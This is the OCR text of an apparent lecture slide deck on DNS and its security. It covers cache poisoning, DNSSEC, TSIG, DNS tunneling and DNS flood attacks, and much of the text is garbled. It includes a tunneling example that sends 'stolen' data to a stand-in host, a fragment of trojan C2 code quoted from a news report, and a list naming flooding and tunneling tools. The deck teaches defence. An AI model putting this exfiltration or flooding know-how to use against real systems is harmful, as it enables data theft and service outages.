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What is DNS
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Four Servers involved in Loading a Web Page

e DNS Recursor: The DNS recursor is a server designed to receive queries from
client machines through applications such as web browsers.

e Root nameserver: it serves as a reference to other more specific locations.
e TLD nameserver: This nameserver is the next step in the search for a specific IP
address, and it hosts the last portion of a hostname

e Authorative webserver: This final nameserver can be thought of as a dictionary
on a rack of books, in which a specific name can be translated into its definition.




Process for DNS lookup
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DNS Packet
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How Does DNS Adds Efficiency

e DNS is organized in a hierarchy with distributed servers that helps keep
things running quickly and smoothly

e Root servers are located all around the world, so the recursor server usually
directs you to the closest root server geographically.

e Some of the returned IP addresses are stored (cached) in the recusor
server to improve lookup time



DNS was designed without taking security into account

® Cache Poisoning Attack
® Impersonating Master Attack
® DNS Tunneling Attack

e DNS flood Attack



DNS Security
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DNS Security

1) Cache pOisoning: is a type of attack in which corrupt data is inserted into the cache database of the
Domain Name System (DNS) name server

The IP address of
example.jp is
%372 2653527

The IP address
of example.jp is
e I A5 [T 180

’d like to access
http: //example.jp/.
What’s its IP address?

% Malicious User :

DNS

Bogus Website™
ache Server 8 y

(172.16.3.2)

Internal User
within its
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If the DNS cache server is “poisoned”, x;"f;g & B
the user is directed to a bogus website i

even if the URL specified is correct.

(192.168.1.23)

DNS Cache Poisoning



DNS Security

DNSSEC

® A protocol designed to eliminate doubt involved in DNS query operations
® Protects the integrity of data by establishing a chain of trust

e Use public/private key cryptography

® Based on digital signatures for validation



DNS Security

DNSSEC

Digital Signature is based on public key cryptography

Digital Signature



DNS Security

DNSSEC

® RRSI: Contains a cryptographic signature
e DNSKEY : Contains a public signing key
e DS: Contains the hash of the DNSKEY record
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DNS Security

DNSSEC “ -

Zone-Signing Keys: each zone in DNSSEC has RRset Sigmm:
a zone signing key pair (ZSK)

Each RRset is singed with private ZSK and stored
In their name server as RRSIG records

Public ZSK is stored in the DNSKEY record
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DNS Security

DNSSEC

Key-Signing Keys: is used to sing the ZSK and creating
RRSIG for the DNSKEY

Validation of Resolvers:

1) Request the desired RRset, which also returns the
Corresponding RRSIG record

2) Request the DNSKEY records containing the public ZSKand
public KSK, which also returns the RRSIG for the DNSKEY RRset
3) Verify the RRSIG of the requested RRset with the public ZSK
4) Verify the RRSIG of the DNSKEY RRset with the public KSK




DNS Security

DNSSEC Recursive Name Servers
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DNS Security

DNSSEC

Recursive Name Servers
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2) Impersonating Master attack

Impersonating master




DNS Security

Transaction Signature (TSIG)

® A mechanism of protecting a message from primary to
secondary and vice versa

® Based on shared secret, both send and receiver are
configured with

e The shared information (key) is used to authenticate a client
to a server



DNS Security
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DNS TUNNELING

Definition : It is a method of cyber attack that encodes the data of other programs into DNS Queries and
responses.
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DNS TUNNELING

HOW EXACTLY DOES IT WORK?
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DNS TUNNELING
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DNS TUNNELING

STEP #3
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DNS TUNNELING

STEP #4
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DNS TUNNELING

STEP #5
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DNS Tunneling Segment Example

PUT doc/stolen/examplecorp HTTP 1.1
Host: www. tunnel-example.com
Accept-Encoding: gzip
Content-Length: 27401

‘ Base32 encoding

KBKVIIDEN5RS643UNSWGK3RPMVAGC3LONRSWG33SOAQEQVCUKAQDCLRRBJEGH4
JUHIQHOS53XFZ2HK3TOMVWC2ZLYMFWXAIDFFZRW63IKIFRWGZLQOQWUK3TDNSS
GS3THHIQGO6TJOAFEG3300RSWA5BNJRSWAZ3UNASCAMRXGQYDC===

‘ Formulate DNS query

KBKVIIDEN5RS643UNSWGK3RPMVAGC3LONRSWG335S0AQEQVCUKAQDCLRRBJEGH4
« JUHIQHOS3XFZ2HK3TOMVWC2ZLYMFWXA3DFFZRW63IKIFRWGZLQOQWUK3TDN5S




DNS TUNNELING

For many organizations, DNS tunneling isn’t even a known suspect and
therefore a significant security risk. When they think of DNS security, there
is a tendency to overlook the security of critical data or systems being
compromised by covert outbound DNS inside their networks. But over the
past several years there have been a number of large-scale security
breaches using DNS tunneling, affecting millions of accounts.

A 2016 Infoblox Security Assessment Report found that 40
percent—nearly half—of files tested by Infoblox show evidence of DNS

tunneling.



Recent News

DarkHydrus APT Uses Google Drive to Send Commands to
RogueRobin Trojan

By lonut llascu January 19, 2019 05:00 PM 0

New malicious campaigns attributed to DarkHydrus APT group show the adversary's use of a new
variant of the RogueRobin Trojan and of Google Drive as an alternative command and control (C2)
communication channel.

The group's latest activity was observed against targets in the Middle East, luring them with Excel
documents laced with malicious VBA code (macro).



The command is called 'x_mode' and it is disabled by default. However, the adversary can turn it on via
DNS tunneling channel, which is the main communication line with the C2 server.

file_id

credit: 360 TIC

Immediately after activation, the trojan receives a list of settings stored in variables set when sending the
'x_mode' command; these values allow it to exchange information through Google Drive: URL for
downloading, uploading, updating files, and the authentication details.

WebClient webClient = new WebClient();
webClient

webClient.He

webClient

e, "applicati www~-form-urlencoded") ;
meValueCollection(
y h_token") ;
meValueCollection. s . Prog client_id)
alueCo ction.

webClient.Upload) ) name ueCollection)
Match(Encoding.U . ) "acc _token\":(.*)").Groups[1].Value.Trim()

credit: Unit 42

The information exchange happens after RogueRobin uploads a file to Google Drive. The document is
then monitored for changes. Any modification is considered a command.



DNS FLOOD ATTACK

WHAT IS A DNS FLOOD ATTACK

DNS flood is a type of Distributed Denial of Service (DDoS) attack in which the
attacker targets one or more Domain Name System (DNS) servers belonging to a
given zone, attempting to hamper resolution of resource records of that zone and its
sub-zones.

Domain Name System (DNS) servers are the “phonebooks” of the Internet; they are
the path through which Internet devices are able to lookup specific web servers in
order to access Internet content.


https://www.incapsula.com/ddos/denial-of-service.html
https://www.incapsula.com/ddos/denial-of-service.html
https://www.cloudflare.com/learning/ddos/glossary/domain-name-system-dns/

DNS FLOOD ATTACK

HOW DOES DNS FLOOD ATTACK WORKS?

—— robb.mydomain.com — Com — 60— -

— joffrey.mydomain.com —p = —_——
: : e ==
— tyrion.mydomain.com —p (m ] e — = ]
%)
—— cersei.mydomain.com —p = —H— =x
Botnet jaime.mydomain.com Recursive © Authoritative
DNS DNS

=== Cache



DNS FLOOD ATTACK

DNS Flood DDoS Attack Hit Video Gaming Industry with 90 Million
Requests per Second

£9 June 24,2014 & Mohit Kumar
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Preventing DNS Flooding

Do not allow unsolicited DNS responses

Drop quick retransmissions

Drop DNS queries and responses that are
anomalous

Force DNS client to prove that it is not spoofed
..more




Tools

LOIC (Low Orbit lon Canon) - DNS FLOOD ATTACK
XOIC - DNS FLOOD ATTACK
Wire Shark - DNS TUNNELING

Httptunnel - DNS TUNNELING
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